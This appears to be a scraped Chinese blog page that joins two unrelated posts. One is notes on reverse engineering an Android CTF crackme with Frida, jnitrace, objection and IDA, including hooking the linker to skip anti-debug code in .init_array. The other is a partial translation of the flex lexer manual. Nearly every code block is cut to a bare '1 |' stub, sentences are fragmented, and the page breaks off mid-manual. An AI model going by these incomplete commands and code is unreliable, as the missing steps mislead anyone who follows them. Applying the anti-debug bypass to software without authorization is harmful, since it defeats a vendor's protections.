我的so是自己编译的,具体的汇编代码如下,总之这里很明显在775C时,x0里保存的是一个指向”sakura”这个字符串的指针。(其实我也不是很看得懂arm64了已经,就随便hook了一下)
所以hook这个指令,然后Memory.readCString(this.context.x0);
打印出来,结果如下
1 | .text:000000000000772C ; __unwind { |
1 | function inline_hook() { |
1 | Attaching... |
到这里已经可以总结一下我目前的学习了,需要补充一些frida api的学习,比如NativePointr里居然有个readCString,这些API是需要再看看的。
JNI_Onload
看下logcat
1 | n/u0a128 for activity com.gdufs.xman/.MainActivity |
1 | sakura@sakuradeMacBook-Pro:~/gitsource/frida-agent-example/agent$ frida -U --no-pause -f com.gdufs.xman -l hook_reg.js |
/sdcard/reg.dat
里读一个值,然后和EoPAoY62@ElRD
进行比较。/sdcard/reg.dat
里结合一下看,只要initSN检查到/sdcard/reg.dat
里是EoPAoY62@ElRD
,应该就会给m设置成1。
只要m的值是1,就能走到work()函数的逻辑。
1 | function main() { |
这样我们继续看work的逻辑
v2是从getValue得到的,看上去就是m字段的值,此时应该是1,一会hook一下看看。
1 | [NewStringUTF] bytes:输入即是flag,格式为xman{……}! |
callWork里又调用了work函数,死循环了。
那看来看去最后还是回到了initSN,那其实我们看的顺序似乎错了。
理一下逻辑,n2执行完保存到文件,然后n1 check一下,所以最后还是要逆n2的算法,pass。
https://github.com/chame1eon/jnitrace
1 | pip install jnitrace |
usage: jnitrace [options] -l libname target
默认应该是spawn运行的,
-m
来指定是spawn
还是attach
-b
指定是fuzzy
还是accurate
-i <regex>
指定一个正则表达式来过滤出方法名,例如-i Get -i RegisterNatives
就会只打印出名字里包含Get或者RegisterNatives的JNI methods。-e <regex>
和-i
相反,同样通过正则表达式来过滤,但这次会将指定的内容忽略掉。-I <string>
trace导出的方法,jnitrace认为导出的函数应该是从Java端能够直接调用的函数,所以可以包括使用RegisterNatives来注册的函数,例如-I stringFromJNI -I nativeMethod([B)V
,就包括导出名里有stringFromJNI,以及使用RegisterNames来注册,并带有nativeMethod([B)V签名的函数。-o path/output.json
,导出输出到文件里。-p path/to/script.js
,用于在加载jnitrace脚本之前将指定路径的Frida脚本加载到目标进程中,这可以用于在jnitrace启动之前对抗反调试。-a path/to/script.js
,用于在加载jnitrace脚本之后将指定路径的Frida脚本加载到目标进程中--ignore-env
,不打印所有的JNIEnv函数--ignore-vm
,不打印所有的JavaVM函数1 | sakura@sakuradeMacBook-Pro:~/Desktop/lab/alpha/tools/android/frida_learn/0620/0620/xman/resources/lib/armeabi-v7a$ jnitrace -l libmyjni.so com.gdufs.xman |
https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/strace.html
https://frida.re/docs/frida-trace/
Usage:frida-trace [options] target
1 | frida-trace -U -i "strcmp" -f com.gdufs.xman |
https://github.com/lasting-yang/frida_hook_libart/blob/master/hook_artmethod.js
常见的保护都会在init_array里面做,关于其原理,主要阅读以下文章即可。
1 | // 编译生成后在.init段 [名字不可更改] |
IDA快捷键shift+F7
找到segment,然后就可以找到.init_array
段,然后就可以找到里面保存的函数地址。
打开要调试的apk,找到入口
1 | sakura@sakuradeMacBook-Pro:~/.gradle/caches$ adb shell dumpsys activity top | grep TASK |
启动apk,并让设备将处于一个Waiting For Debugger的状态adb shell am start -D -n com.example.ndk_demo/.MainActivity
执行android_server64
1 | sailfish:/data/local/tmp # ./android_server64 |
新开一个窗口使用forward程序进行端口转发:adb forward tcp:23946 tcp:23946
adb forward tcp:<本地机器的网络端口号> tcp:<模拟器或是真机的网络端口号>
例:adb [-d|-e|-s
打开IDA,选择菜单Debugger -> Attach -> Remote ARM Linux/Android debugger
打开IDA,选择菜单Debugger -> Process options, 填好,然后选择进程去attach。
查看待调试的进程adb jdwp
1 | sakura@sakuradeMacBook-Pro:~$ adb jdwp |
转发端口adb forward tcp:8700 jdwp:10436
,将该进程的调试端口和本机的8700绑定。
jdb连接调试端口,从而让程序继续运行 jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700
找到断点并断下。
打开module
找到linker64
找到call array函数
下断并按F9断下
最终我确实可以调试到.init_array
的初始化,具体的代码分析见Linker学习笔记这里。
目标是找到动态注册的函数的地址,因为这种函数没有导出。
1 | JNINativeMethod methods[] = { |
首先jnitrace -m spawn -i "RegisterNatives" -l libnative-lib.so com.example.ndk_demo
1 | 525 ms [+] JNIEnv->RegisterNatives |
然后objection -d -g com.example.ndk_demo run memory list modules explore | grep demo
1 | sakura@sakuradeMacBook-Pro:~$ objection -d -g com.example.ndk_demo run memory list modules explore | grep demo |
offset = 0x79f00d36b0 - 0x79f00c4000 = 0xf6b0
这样就找到了
没有支持arm64,可以在安装app的时候adb install --abi armeabi-v7a
强制让app运行在32位模式
这个脚本整体来说就是hook callfunction,然后打印出init_array里面的函数地址和参数等。
从源码看,关键就是call_array这里调用的call_function,第一个参数代表这是注册的init_array里面的function,第二个参数则是init_array里存储的函数的地址。
1 | template <typename F> |
1 | function LogPrint(log) { |
我调试了一下linker64,因为没有导出call_function的地址,所以不能直接hook符号名,而是要根据偏移去hook,以后再说。
其实要看init_array
,直接shift+F7去segment里面找.init_array
段就可以了,这里主要是为了反反调试,因为可能反调试会加在init_array里,hook call_function就可以让它不加载反调试程序。
现在我想要主动调用sakura_add来打印值,可以ida打开找符号,或者根据偏移,总之最终用这个NativePointer指针来初始化一个NativeFunction来调用。
1 | extern "C" |
1 | function main() { |
//todo
jni的基本类型要通过调用jni相关的api转化成c++对象,才能打印和调用。
jni主动调用的时候,参数构造有两种方式,一种是Java.vm.getenv
,另一种是hook获取env之后来调用jni相关的api构造参数。
本篇文章学到的内容来自且完全来自r0ysue的知识星球,推荐一下。
首先,通过一些简单的示例来了解使用flex。
以下flex输入指定了一个扫描程序scanner,当它遇到字符串’username’将其替换为用户的登录名:
1 | %% |
默认情况下,任何与flex scanner不匹配的文本都将被复制到输出中,因此,该scanner的最终效果是仅将每次出现的用户名替换了。
在此输入中,只有一个规则(rule)。’username’是模式(pattern),而’print’就是action。’%%’符号标志着rules的开始。
另一个简单的例子
1 | int num_lines = 0, num_chars = 0; |
该scanner计算其输入中的字符数和行数。除了有关字符数和行数的最终报告外,它不产生任何输出。
第一行声明了两个全局变量,num_lines和num_chars,在第二个%%之后声明的yylex()的main()例程都可以访问它们。
有两个规则(rule),一个匹配换行符(‘\n’),并同时增加行数和字符数。
另一个匹配除了换行符之外的任何字符(通过.正则表达式)
看一个更复杂的例子。
1 | /* scanner for a toy Pascal-like language */ |
这是针对Pascal等语言的简单scanner的开始。它标识不同类型的token并报告所见内容。
以下部分将说明此示例的详细信息。
flex输入文件包括三部分,由%%分开。
1 | definitions |
该定义部分包含了简单的Name definitions的声明,以及start conditions的声明,这将在后面的章节解释。
Name definitions有如下形式
1 | name definition |
name是一个以字母或下划线开头的单词,然后是零个或多个字母,数字,’_’,或者’-‘(破折号)。
definition从名称后的第一个非空白字符开始,一直到该行的末尾。该definition随后可以使用{definition},它将扩展为(definition)。例如,
1 | DIGIT [0-9] |
定义“数字“是与一位数字匹配的正则表达式,而’ID’是一个正则表达式,它匹配一个字母,后跟零个或多个字母及数字。
1 | {DIGIT}+"."{DIGIT}* |
等价于
1 | ([0-9])+"."([0-9])* |
其可以匹配一个或多个数字,后跟一个’.’,然后跟零个或多个数字。12.34
不缩进的注释(以/*
开头的行)逐字复制到输出,直到遇到下一个*/
。
任何缩进文本,或者包括在%{
和%}
之中的也将逐字复制到输出中(移除%{和%}
符号),%{和%}
符号本身必须在行上没有缩进。%top
块是类似于%{和}%
的,但它将块中的代码重定位到生成的文件的顶部(在所有flex定义之前),%top
在当您要定义某些预处理器宏或在生成的代码之前包含某些文件时,该块很有用。单个字符{
和}
用于分隔%top
块,如以下示例所示:
1 | %top{ |
%top
允许多个块,并保留其顺序。
Flex输入的 rules section 对以下表格有一系列的规则:
pattern | action |
---|---|
其中 pattern 必须是不缩进的,action 必须开始在同一行。 有关 patterns 和 actions 的进一步描述,请参见Patterns。
在rules section中,出现在第一个rule之前的任何缩进或%{ %}
括号内的文本都可用于声明scanning routine的局部变量和每次进入scanning routine时执行的(声明之后的)代码。
rules section中的其他缩进文本或%{ %}
文本仍然复制到输出中,但其含义没有良好定义,并且很可能导致编译时错误(这个特性是为了符合 POSIX 要求。查看 Lex 和 Posix,以获得其他此类特性)。
%{
和 %}
中包含的任何缩进文本或文本都会被逐字复制到输出中(删除了%{
和%}
符号)。 %{
和%}
符号本身必须在该行没有缩进。
用户代码部分仅逐字复制到lex.yy.c。它作为scanner的辅助函数使用。此部分的出现是可选的;如果不存在,则输入文件中的第二个”%%”可以被省略。
Flex支持C风格的注释,即:介于/ *
和* /
之间的任何内容都被认为是注释。Flex遇到注释时,会将整个注释逐字复制到生成的源代码中。注释可能出现在任何地方,但有以下例外情况:
%option
行上。如果您希望遵循一个简单的规则,那么始终在新行上开始注释,在开始的/*
之前使用一个或多个空格字符。 此规则适用于输入文件的任何位置。下面例子中的所有注释都是有效的:
1 | %{ |
输入里的patterns是根据一个正则表达式扩展集合来写的:
x
:
匹配字符x
.
:
匹配任意字符(1字节),除了换行符
[xyz]
:
单个字符类;在该case,表示匹配x或y或z
[abj-oZ]
:
具有范围的字符类;在该case表示匹配a或b,或在j-o之中选择一个匹配,或者匹配一个Z
[^A-Z]
:
否定字符类,即除该类之外的任何字符;在该case表示不匹配大写字母
[^A-Z\n]
:
不匹配大写字母和回车
[a-z]{-}[aeiou]
:
匹配除了元音字母之外的字符
r*
r是一个正则表达式, 匹配零次或多次
r+
匹配一次或多次。
r?
匹配零次或一次。
r{2,5}
{n,m}, m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。
r{2,}
{n,}, n 是一个非负整数。至少匹配n 次。
r{4}
{n}, n 是一个非负整数。匹配确定的 n 次。
{name}
name定义的扩展,查看format
‘“[xyz]"foo”’
the literal string: ‘[xyz]”foo’
‘\X’
if X is ‘a’, ‘b’, ‘f’, ‘n’, ‘r’, ‘t’, or ‘v’, then the ANSI-C interpretation of ‘\x’. Otherwise, a literal ‘X’ (used to escape operators such as ‘*’)
\0
匹配NULL(ascii code 0)
\123
匹配八进制值为123的字符
\x2a
匹配16进制值为2a的字符
(r)
match r
;括号用于提高优先级
(?r-s:pattern)
:之后的是使用的pattern,而使用r并略去s对pattern进行解释
r和s这两个参数可以为空或者i
s
x
i表示大小写不敏感 -i表示大小写不敏感
s表示通过.
匹配单字节的任意字符, -s表示.
匹配\n之外的任何字节(译者注:其实就是用s来指明.
的意思)
x会忽略注释和空白符,除非空格被反斜杠转义,或者包含在””中或者出现在前面所说的字符类里,否则将被忽略
以下表达式都是合法的
1 | (?:foo) same as (foo) |
(?# comment )
忽略任何在()里的字符
rs
将r和s两个正则表达式相串联 (不是很懂)
r|s
用r或s去匹配,并联的意思。
r/s
匹配r,但是r之后必须有s,确定此规则为最长匹配项时包括s,但是在返回文本时只返回r。
^r
只在一行的开头去匹配r(即,刚开始扫描时或在扫描到换行符之后)
r$
在一行的结尾去匹配r
<s>r
在start condition为s的时候才用r匹配;
<s1,s2,s3>r
start condition为s1或s2或s3时才用r匹配;
<*>r
在任何start condition都可以用r匹配
<<EOF>>
匹配EOF(文件结束)
<s1,s2><<EOF>>
在start condition为s1和s2的时候,匹配EOF
注意一下在字符集合里,所有的正则表达式的operator丢失了他们的特殊意义,除了’\‘ ‘-‘ ‘]]’和在集合前面的’^’
上面所有提到的正则表达式都被根据优先级从最高到最低来组织,那些被分组到一起的是具有相同优先级的(在–posix 遵从POSIX标准的参数的文档中关于repeat operator ‘{}’优先级的特殊标记) 例如:
1 | foo|bar* |
等价于
1 | (foo)|(ba(r*)) |
因为*
操作符比串联有更高的优先级,串联比并联(|
)更高的优先级。
因此这个pattern匹配的是字符串”foo”或者”ba”后面跟着0或多个满足r的字符串
为了匹配’foo’或者0或多个”bar” 可以这么写
1 | foo|(bar)* |
或者为了匹配0个或多个”foo或bar”,可以写成这样
1 | (foo|bar)* |
{-}
这个是求差集的operator,他会计算两个character class的差集
例如[a-c]{-}[b-z]
会匹配在a-c里不在b-z里的字符
{+}
是求并集的operator,他会计算两个character class的并集
例如在“C”的运行环境中[[:alpha:]]{-}[[:lower:]]{+}[q]
这个和[A-Zq]
是等价的
一条规则最多可以包含一个尾随上下文实例(“/”运算符或“$”运算符)。起始条件“^”和“<
以下表达式是不合法的:
第一句可以被写成这样foo/bar\n
1 | foo/bar$ |
以下情况$或者^会被忽略,当作一个普通字符
1 | foo|(bar$) |
如果你希望匹配的是’foo’或者’bar’后接一个新行,可以这么写,一个小trick将work。
1 | foo | |
生成的扫描程序(scanner)运行的时候,它会分析输入来寻找与模式(pattern)匹配的字符串。如果找到多个匹配字符串,它会匹配文本最多的那一个(for trailing context rules,包括trailing部分的长度)。如果找到多个长度相同的匹配字符串,则按照flex输入文件中最先列出的规则选择。
一旦确定匹配,就在全局字符指针yytext中提供与该匹配相对应的文本(称为token),并在全局int变量yyleng中提供长度。然后执行与匹配模式(pattern)相对应的操作(action),然后扫描剩余的输入寻找下一个匹配。
如果找不到匹配,则执行默认规则:下一个输入的字符将被视为匹配并复制到标准输出中。因此,最简单的有效flex输入是:
1 | %% |
其生成一个扫描程序(scanner)将输入(一次一个字符)简单地复制到输出。
注意yytext可以用两种方式定义:作为字符指针或者字符数组。你可以通过在你的flex输入的开头(定义)部分包含%pointer
或%array
中的一个来控制flex使用哪一个定义。
默认是%pointer
,除非使用'-l'
lex兼容性选项,在这种情况下yytext就是一个数组。使用%pointer
的好处是在匹配非常大的token时(除非您用尽了动态内存),扫描速度明显加快,并且没有缓冲区溢出,缺点是在修改yytext方面,你的action将受到限制(参考action),而且对unput()
函数的调用会破坏yytext的当前内容,这在不同lex版本之间移动的时候可能会有很大的麻烦。
使用%array
的好处在于你可以修改yytext为你想要的内容,而且调用unput()
不会破坏yytext。此外,现有的lex程序有时会使用以下形式的声明从外部访问yytext:
1 | extern char yytext[]; |
这个声明在使用%pointer
时是错误的,但在使用%array
时是正确的。
%array
声明将yytext定义为YYLMAX个字符的数组,YYLMAX默认为相当大的值,你可以在flex输入的第一部分中简单的#define YYLMAX为另一个值来更改它的大小。如上所述,使用%pointer
时yytext会动态地增长来容纳很大的token。即你的%pointer
扫描程序(scanner)可以容纳非常大的token(例如匹配整个注释块),但请记住每次扫描器必须重新调整yytext的大小时,还必须从头开始重新扫描整个token,因此匹配这种token可能会很慢。
如果调用unput()导致太多文本被push back,则yytext目前不会动态增长,而是会导致运行时错误。
另外注意,不能将%array
与C++扫描程序(scanner)类一起使用(参考Cxx)。
规则中的每个pattern都有一个相应的action, 这些action可以是任意的c语言.
Pattern以第一个非转义的空字符结束; 这一行剩下的部分就是它的action.
如果这个action是空的,那么当pattern进行匹配时, 它的input token就会被简单的丢弃.
例如, 下面是一个程序的rule, 它从输入中删除了所有出现的”zap me”:
1 | %% |
这个示例将输入中的所有其他字符复制到输出中, 因为这些其他字符将由默认规则匹配.
下面是一个程序, 它将多个空格和制表符(tabs)压缩到单个的空白(blank), 并丢弃行尾的空格:
1 | %% |
如果这个action包含"{"
, 那么该action将一直持续到找到"}"
, 并且这个操作可能会跨越几行.
flex明白C的strings和注释, 所以flex不会因为字符串和注释里面的大括号而上当. 并且flex允许action以'%{'
开头的操作,并将该action视为"%}"
之前的所有文本(而不管action中出现的普通大括号).
一个仅包括竖线"|"
的action表示与下一个action的规则(rule)相同。可见于下面的例证.
Actions可以包括任意的C代码,包括return
语句–将一个值返回给任何调用yylex()
的程序.每次调用yylex()
,它将从上次中断的地方继续处理token,直到文件的末尾或者执行返回.
Actions可以自由地修改yytext
,除了延长它的长度(向其末尾增加字符––这样会覆盖输入流中后面的字符). 但是,使用%array
的情况不适用于此(请参考Matching).在这种情况下,可以任意修改yytext
.
Actions可以自由地修改yyleng
,但是如果action还包括yymore()
的使用,则不应该修改yyleng
(见下文).
这里有许多特殊的指令(directives),这些指令可以被用于action中:
ECHO
拷贝yytext到scanner的输出
BEGIN
紧随其后的是开始条件的名称,将scanner置于相应的开始条件中(见下文)
yymore()
告诉scanner,下次它匹配规则时,应该将对应的token加到yytext
的当前值上,不是替换它.例如,给定输入为'mega-kludge'
,下面的输出将写入mega-mega-kludge’
:
1 | %% |
这是关于yymore()
的两个说明.
首先,yymore()
取决于yyleng
的值,它正确的反应了当前token的大小,所以如果使用yymore()
则不能修改yyleng
.
其次,scanner的action中存在yymore()
会对scanner的匹配速度造成轻微的性能损失.
yyless(n)
除了当前token的前n个字符,将剩下的字符返回到输入流,当scanner查找下一个匹配时,这些字符将被重新查找.对于yytext
和yyleng
做了一些适当地调整(例如,yyleng
现在等于n).例如,在输入'foobar'
,下面将输出'foobarbar'
:
1 | %% |
将0作为参数传入yyless()
将导致再次扫描当前输入的字符串.除非您已经改变了scanner处理输入的方式(例如使用了BEGIN
),否则这将导致一个死循环.
注意,yyless()
是一个宏,只能在flex输入文件中使用,而不能从其他源文件中使用.
unput(c)
将字符c
放回输入流.这将是下一个字符扫描.下面的action将使用当前的token,进行重新扫描,并用括号闭合。
1 | { |
注意,由于每个unput()
都将给定的字符放回输入流的开头,所以必须由后向前插入字符串.
使用unput
时的一个重要的潜在问题是,如果使用%pointer
(默认),调用unput()
会破坏yytext
的内容,从其最右边的字符开始,并在每次调用时向左吞噬一个字符。如果你需要在调用unput()
后保留yytext
的值(如上面的示例所示),则必须先将它复制到其他地方,或者使用%array
构建scanner(参见Matching).
最后,请注意,不能将'EOF'
插入(push back)来尝试用文件结束来标记输入流.
1 | %% |
(请注意,如果scanner是使用c++编译的,那么input()
将被替换为yyinput()
,以避免产生与c++流名字冲突的情况.
YY_FLUSH_BUFFER
刷新scanner的内部缓冲区,以便下次scanner尝试匹配token,它将首先使用YY_INPUT()
填充缓冲区(参见Generated Scanner.这个action是比yy_flush_buffer
函数更通用的特例.如下所述(参见 Multiple Input Buffers)
yyterminate()
可以用来代替action中的返回语句.它终止scanner并将0返回给scanner的调用者,指示”全部完成”.默认情况下,当遇到文件结束,也会调用yyterminate()
.它是一个宏,可以重新定义.
flex的输出是lex.yy.c,包括扫描程序(scanning routine) yylex(),许多用于匹配token的表,一些辅助函数和宏定义。
默认yylex()函数被声明如下
1 | int yylex() |
但是我们可以通过一个宏定义来改变它。
1 | #define YY_DECL float lexscan( a, b ) float a, b; |
这代表另scanning routine名为lexscan,并包括两个float类型的参数和返回一个float类型的变量。
此外flex创建的程序遵循c99标准。
每次yylex调用,都会从全局输入yyin(默认为stdin)中顺序扫描token,直到到达文件末尾(此时返回0),或者遇到一个执行”return”语句的action。
如果scanner到达文件末尾,则后续调用是不确定的。
既可以将yyin指向新的输入文件(在这种情况下,扫描将从该文件继续进行),也可以调用yyrestart()函数。
yyrestart()接受一个参数,一个FILE *指针(这个指针可能是NULL,如果你已经设置了YY_INPUT宏从其他地方读取,而不是从yyin),然后它将初始化yyin,用于从这个文件(FILE *)继续扫描。
这两种方法之间基本上没有区别。
后者可以兼容早期版本的flex,因为它可以用于在扫描的过程中就切换输入文件;通过将yyin传递给yyrestart,调用这个函数,也可以用来丢弃当前的input buffer,但是最好还是使用YY_FLUSH_BUFFER。
请注意,yyrestart()不会将开始条件重置为INITIAL
如果yylex()由于在某个action上执行了return而停止扫描,则可以再次调用scanner,并且它将从中断处继续扫描。
默认情况下(为了提高效率),scanner使用块读取而不是简单的getc()调用来读取字符y,可以通过定义YY_INPUT宏来控制如何获取输入。
YY_INPUT() is YY_INPUT(buf,result,max_size),它用于在buf数组里放置最多max_size个字节,并且在整数变量result中,记录读取的字节数量或者YY_NULL(在Unix系统上值为0),YY_NULL是为了表示遇到EOF。
YY_INPUT默认从yyin中读取。
下面是一个简单的例子,在输入文件的define部分的示例定义。
1 | %{ |
此定义会将输入处理更改为一次读取一个字符。
当scanner从YY_INPUT接收到EOF时,它将使用yywrap()函数进行检查。如果yywrap()返回false(零),则假定该函数已进行设置y指向另一个输入文件,然后继续扫描。
如果返回true(非零),则scanner终止,并向其调用方返回0。
请注意,无论哪种情况,start condition均保持不变;它并没有恢复 INITIAL。
如果您没有提供自己的版本yywrap(),则必须使用%option noyywrap(在这种情况下,scanner的行为就像yywrap()返回1),或者您必须链接“-lfl’来获取默认的yywrap版本,该版本始终返回1。
关于从内存缓冲区扫描(例如 scanning string),在Scanning Strings和Multiple Input Buffers部分。
scanner将写入它的ECHO输出到yyout global(默认为stdout),用户只需将其分配给其他FILE指针即可重新定义。
flex提供了有条件的激活规则机制,任何以<sc>
前缀的pattern,仅在scanner处于名为sc的开始状态时,才处于活动状态。
例如
1 | <STRING>[^"]* { /* eat up the string body ... */ |
这个pattern将被激活,仅当scanner处于STRING状态。
1 | <INITIAL,STRING,QUOTE>\. { /* handle an escape ... */ |
这个pattern将被激活,仅当scanner处于INITIAL,STRING或QUOTE状态
可以使用%s和%x来定义两种特殊的start condition。
一个开始条件被激活,通过BEGIN action。在执行下一个BEGIN action之前,具有给定开始条件的规则将处于活动状态,而具有其他开始条件的规则将处于非活动状态
包容性(inclusive)的启动条件
如果启动条件是inclusive的,则完全没有给出sc限定的规则也将处于活动状态。
排他性(exclusive)的启动条件
如果是排他性的,则只有符合开始条件的规则才是活动的。
一组基于相同排他开始条件的规则描述了一个扫描程序,该扫描程序独立于以下任何其他来自flex input的规则。
因此,排它的启动条件使指定”mini-scanners”变得容易,该”mini-scanners”将扫描输入中与其余语法(例如,注释)不同的部分。
如果上述描述有点模糊,考虑以下例子
1 | %s example |
等价于
1 | %x example |
如果没有<INITIAL,example>
限定符,则bar第二个示例中的pattern在启动条件处于example时,将不会处于活动状态(即无法匹配)。
但是,如果我们仅用<example>
限定条件bar,那么它将仅在处于example时被激活而不在处于INITIAL时被激活。
而在第一个示例中它同时在两个中都起作用。
(译者注:排他是在已经进入了某个sc时的排他,包容也是在某个sc里的包容)
还要注意,特殊的启动条件说明符<*>
匹配每个启动条件。因此,上面的示例也可以写成:
1 | %x example |
The default rule (to ECHO any unmatched character) remains active in start conditions. It is equivalent to:
1 | <*>.|\n ECHO; |
BEGIN(0)返回到没有开始条件被激活的初始状态。
此状态也可以称为INITIAL,因此BEGIN(INITIAL)等效于BEGIN(0)。(在开始条件名称周围的括号不是必需的,但是被认为是很好的样式)
BEGIN动作也可以在规则部分的开头以缩进代码的形式给出。例如,以下内容将导致scanner进入SPECIAL开始状态,当每次yylex()被调用且全局变量enter_special为true。
1 | int enter_special; |
为了说明开始条件的用法,下面是一个scanner,它提供了两种不同的字符串解释,例如’123.456’。
默认情况下,它将视为三个token,即整数’123’,点(‘.’)和整数’456’。
但是,如果该行字符串的前缀是’expect-floats’,它会将其视为单个令牌,即浮点数’123.456’:
1 | %{ |
下面是一个scanner,其可以在保持当前输入行计数的同时,识别并丢弃掉注释。
1 | %x comment |
请注意,起始条件名称实际上是以整数值存储。因此,上述内容可以通过以下方式扩展:
1 | %x comment foo |
此外,您可以使用整数值YY_START宏访问当前的start condition。例如,上面的分配comment_caller可以改为
1 | comment_caller = YY_START; |
Flex提供YYSTATE作为YY_START的别名(因为AT&T使用了它)。
最后,这是一个示例,说明如何使用排他的开始条件来匹配C样式的带引号的字符串,包括扩展的转义序列(但不包括检查过长的字符串):
1 | %x str |
通常,例如在上面的某些示例中,您最终要编写一堆规则,所有规则都以相同的开始条件开头。通过引入启动条件范围的概念,Flex使此操作变得更加轻松和简洁。起始条件范围始于:<SCs> {
其中<SCs>
是一个或多个开始条件的列表。在开始条件范围内,每个规则都会自动为其应用前缀<SCs>
,直到遇到匹配的“}“。因此,例如
1 | <ESC>{ |
等价于
1 | <ESC>"\\n" return '\n'; |
起始条件范围可以嵌套。
以下routines可用于操纵开始条件的堆栈:
void yy_push_state (int new_state)
将当前启动条件推送到启动条件堆栈的顶部,并切换到 new_state, 就好像您曾经使用过的一样 BEGIN new_state (请注意,启动条件名称也是整数)。
void yy_pop_state ()
弹出堆栈的顶部,然后切换到堆栈的顶部BEGIN。
int yy_top_state ()
返回堆栈的顶部而不更改堆栈的内容。
起始条件堆栈会动态增长,因此没有内置的大小限制。如果内存耗尽,程序将中止执行。
要使用开始条件堆栈,scanner必须包含一个%option stack指令(请参阅scanner选项)。
一些scanner(例如支持“ include”文件的scanner)需要从多个输入流中读取。由于Flex扫描程序会进行大量缓冲,因此无法通过简单地重写对扫描上下文敏感的YY_INPUT()
来控制将从下一个输入读取的位置。YY_INPUT()
仅在扫描程序到达其缓冲区的末尾时才调用,这可能是在扫描诸如include语句之类的语句(会花费)很长的时间,(在这之后),该语句要求切换输入源。
为了解决这类问题,flex提供了一种创建多个输入缓冲区之间和切换的机制。输入缓冲区是通过使用以下命令创建的:
YY_BUFFER_STATE yy_create_buffer( FILE *file, int size )
参数是FILE指针和size,并创建与给定文件关联的缓冲区,缓冲区足够大以容纳size大小的字符(发生问题时,试试使用YY_BUF_SIZE
作为大小)。它返回一个YY_BUFFER_STATE
句柄,可以用来将其传递给其他例程(请参见下文)。YY_BUFFER_STATE
类型是指向opaque structure yy_buffer_state
结构的指针,因此您可以根据需要将YY_BUFFER_STATE
变量安全地初始化为((YY_BUFFER_STATE)0)
,还可以引用opaque structure以正确声明源文件中的输入缓冲区(而非源文件中的scanner)。请注意,调用yy_create_buffer
时的FILE指针仅用作YY_INPUT
看到的yyin
值。如果重新定义YY_INPUT()
使其不再使用yyin
,则可以安全地将NULL
FILE指针传递给yy_create_buffer
。
您可以使用以下方法选择要扫描的特定缓冲区:
void yy_switch_to_buffer ( YY_BUFFER_STATE new_buffer )
这个函数可切换扫描器的输入缓冲区,使得后续tokens将来自new_buffer。请注意,yywrap()
可以使用yy_switch_to_buffer()
来设置要继续扫描的内容,而不是打开新文件并用yyin
指向它。如果您正在寻找输入缓冲区的堆栈,那么您想使用yypush_buffer_state()
代替此函数。还要注意,通过yy_switch_to_buffer()
或yywrap()
切换输入源不会更改启动条件。
void yy_delete_buffer ( YY_BUFFER_STATE buffer )
用于回收与缓冲区关联的存储。 (缓冲区可以为NULL,在这种情况下例程不执行任何操作。)
您还可以使用以下方法清除缓冲区的当前内容:
void yypush_buffer_state( YY_BUFFER_STATE buffer )
该函数将新的缓冲区状态压入内部栈。压入的状态变为新的当前状态。栈由flex维护,并将根据需要增长。当您要更改状态时,应使用此函数代替yy_switch_to_buffer
,但保留当前状态以供以后使用。
void yypop_buffer_state ( )
此函数从栈顶部弹出当前状态,并通过调用yy_delete_buffer
删除它。堆栈中的下一个状态(如果有)将成为新的当前状态。
void yy_flush_buffer ( YY_BUFFER_STATE buffer )
此函数会丢弃缓冲区的内容,因此,下次扫描程序尝试从缓冲区中匹配token时,它将首先使用YY_INPUT()
重新填充缓冲区。
YY_BUFFER_STATE yy_new_buffer ( FILE *file, int size )
是yy_create_buffer()
的别名,用于兼容 C ++的new和delete用于创建和销毁动态对象。YY_CURRENT_BUFFER
宏将YY_BUFFER_STATE
句柄返回到当前缓冲区。不应将其用作左值。
这是使用这些功能编写扩展包含文件的scanner的两个示例(下面将讨论<< EOF >>功能)。
第一个示例使用yypush_buffer_state
和yypop_buffer_state
。 Flex在维护一个内部栈。
1 | /* the "incl" state is used for picking up the name |
下面的第二个示例执行与上一个示例相同的操作,但是手动管理其自己的输入缓冲区栈(而不是让flex进行操作)。
1 | /* the "incl" state is used for picking up the name |
以下例程可用于设置输入缓冲区以扫描内存中的字符串而不是文件。它们都创建了一个新的输入缓冲区来扫描字符串,并返回一个对应的YY_BUFFER_STATE
句柄(完成后应使用yy_delete_buffer()
删除)。还使用yy_switch_to_buffer()
切换到新缓冲区,因此对yylex()
的下一次调用将开始扫描这个字符串。
YY_BUFFER_STATE yy_scan_string ( const char *str )
扫描NULL结尾的字符串
YY_BUFFER_STATE yy_scan_bytes ( const char *bytes, int len )
扫描len长度(包括NULL)的字符串
请注意,这两个函数都会创建并扫描字符串或字节的副本。 (这可能是可取的,因为yylex()
修改了它正在扫描的缓冲区的内容。)您可以使用以下方法避免复制:
YY_BUFFER_STATE yy_scan_buffer (char *base, yy_size_t size)
它将扫描从基址开始的缓冲区,该缓冲区由size大小字节组成,其最后两个字节必须为YY_END_OF_BUFFER_CHAR(ASCII NUL)
。最后两个字节不扫描。因此,扫描由base [0]到base [size-2]组成。
如果您无法以这种方式设置base(即忘记最后两个YY_END_OF_BUFFER_CHAR
字节),则yy_scan_buffer()
将返回NULL指针,而不是创建新的输入缓冲区。
Data type: yy_size_t
是整数类型,您可以将其转换为反映缓冲区大小的整数表达式。
特殊规则<<EOF>>
指示遇到文件结尾符(end-of-file)和yywrap()
返回非零值时,要采取的action(即,表示没有其他要处理的文件)。该action必须通过执行以下任一action来完成:
flex
早期版本中 ,完成分配后,您必须调用特殊actionYY_NEW_FILE
。现在,这不再是必需的。)return
语句;yyterminate()
特殊action。yy_switch_to_buffer()
切换到新的缓冲区。<<EOF>>
规则不得与其他pattern一起使用,他们可能只能用start condition进行限定。如果给出了未限定的<<EOF>>
规则,则该规则适用于它适用于尚未执行<<EOF>>
action的所有启动条件。。要只为初始开始条件指名<<EOF>>
规则,请使用:
1 | <INITIAL><<EOF>> |
这些规则对于捕获未封闭的注释(comments)等有用。例子如下:
1 | %x quote |
YY_USER_ACTION
可以定义宏以提供始终在匹配规则的操作之前执行的操作。例如,可以使用#define’d
去调用一个routine以将yytext转换为小写,当YY_USER_ACTION
被调用,(规则编号从1开始)匹配的规则编号会保存在变量yy_act
中。如果你想知道每一个规则的匹配频率,请看下面
1 | #define YY_USER_ACTION ++ctr[yy_act] |
ctr
是一个数组,用于保存不同规则的计数结果。请注意,YY_NUM_RULES
宏命令给出了规则总数(包括默认规则),即使你使用 ‘-s)’,所以,正确的ctr
声明是:
1 | int ctr[YY_NUM_RULES]; |
YY_USER_INIT
